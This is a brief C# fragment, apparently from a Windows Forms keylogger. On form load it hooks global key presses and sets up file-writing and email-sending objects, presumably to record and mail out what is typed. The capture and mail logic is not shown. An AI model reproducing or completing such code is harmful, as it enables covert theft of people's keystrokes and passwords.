private void Form1_Load(object sender, EventArgs e) { Random rand = new Random(); R = rand.Next(10, 20); //R = 5; f = new ToFile(); MailInfo info = new MailInfo(); mail = new ToMail(info); Hook.KeyPress += Hook_KeyPress; }
public ToMail(MailInfo info) { Info = info; }